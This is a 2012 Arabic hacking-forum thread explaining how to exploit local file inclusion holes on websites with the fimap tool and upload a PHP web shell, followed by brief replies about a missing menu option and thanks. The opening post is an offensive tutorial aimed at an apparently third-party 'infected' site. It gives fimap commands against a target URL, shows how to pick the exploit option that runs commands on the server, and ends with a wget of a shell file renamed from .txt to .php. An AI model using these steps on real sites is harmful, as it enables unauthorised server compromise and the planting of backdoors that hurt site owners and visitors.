رفع شل بـ ثغرأت LFI .. باستخدـآم اداة الـ fimap - منتدى أمن الإسلام | لا اله الا الله محمد رسول الله | IS-SEC.ORG | Dz-SeC Team |

cold · 09/02/2012, 13:28

الســلام عليكم ورحمة الله وبركأتة
شالاخبار ش الاعلوم
اليوم معنا درس سهل .. وبسيط وحلو بنفس الوقت : )

رفع شل ب ثغرات local file include ..
بـ استخدأم [] الـ fimap
..
الحين نبدـآء بالشغل ..
لقيت موقع مصاب ..
نعرض اليوزرات عشان نتأكد

نحمل الاداة ،
ع حسب نوع جهأزك
اذ الـ linux
افتح الترمنال وطبق امر
cd /pentest/web/fimap
اما الـ Windows

fimap.googlecode.com/files/fimap_alpha_v09.tar.gz

نطبق امر ..

كود:

./fimap.py -u "site.com/"

نطبق امر

كود:

./fimap.py -x

مثل ماهو موضح
نختـآر
ع الخيار [ 1 ]
ع الموقع الي طبقنآه

بيطلع لنآ. . الاستغلال
نطق ع [ 1 ]

راح يطلع لنا الخيارات
نختـآر رقم [ 1 ] تطبيق الاوامر ومنها رفع شل

مثل مانتوا شايفين

نسحب لنا اي شل وبيكون ب صيغة TXT ..

كود:

wget shell.txt

نطبق امر
mv shell.txt shell.php
لاستبدال صيغة TxT الى Php

نطق ع Enter

فمآن الله
اهدأء الى
all member r00t security + Al-k!nG

[]/*

xdvb · 09/02/2012, 15:54

مشكلتي عند كتابة هذا الامر ./fimap.py -x

###########################
#:: List of Domains:: #
###########################
#[q] Quit #
###########################

لم اجد رقم 1

ApOcalYpse · 09/02/2012, 16:03

اقتباس:

xdvb يقول

مشكلتي عند كتابة هذا الامر ./fimap.py -x

###########################
#:: List of domains:: #
###########################
#[q] quit #
###########################

لم اجد رقم 1

الادات تعتمد على الموجود و ليست ادات سحرية ترفع في كل الحالات

X_AviaTique_X · 09/02/2012, 16:27

بارك الله فيك

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
LFI using fimap and useragen switcher	illuminat	[ English Section ]	1	18/10/2014 06:21
اداة sQl map	S4wDz	توزيعة B4ck\|Tr4ck	5	15/07/2012 22:04
اداة تخمين مواقع جوملا	mahmad	[ منتدى الأدوات Hacking Tools ]	0	06/02/2012 17:07
اداة SQLninja	S4wDz	[ منتدى حـقن قواعد البيانات \| Sql injcetion ]	3	13/12/2011 23:03
اداة الاسطورةHavij v1.14 Advanced SQL Injection	hacker almooot	[ منتدى حـقن قواعد البيانات \| Sql injcetion ]	8	26/06/2011 20:51

حالياً الأعضاء النشيطين الذين يشاهدون هذا الموضوع : 1 (0 عضو و 1 ضيف)

(أظهر الكل) الأعضاء الذين قاموا بمشاهدة هذا الموضوع : 31
abdotv , Abu Hamid Madridi , ApOcalYpse , مستر عبدالرحيم , BELHADJ47 , blue wolf , BO3LA-HaCkEr , cold , Damane2011 , Dz.kH4 , FaRiS Ala7LaM , Gomina7 , HACER DZ , hacker-fire , HTC 28 DZ , حكمي , midofahmey , Mr.3Jr4M , NuevoAsesino , OXO , rayane888 , rezouka , S1LV3rS3rf3r , sahli-717 , shalhop , skandarfessi , snifferss , ViRuS_Ra3cH , xdvb , X_AviaTique_X , `R1z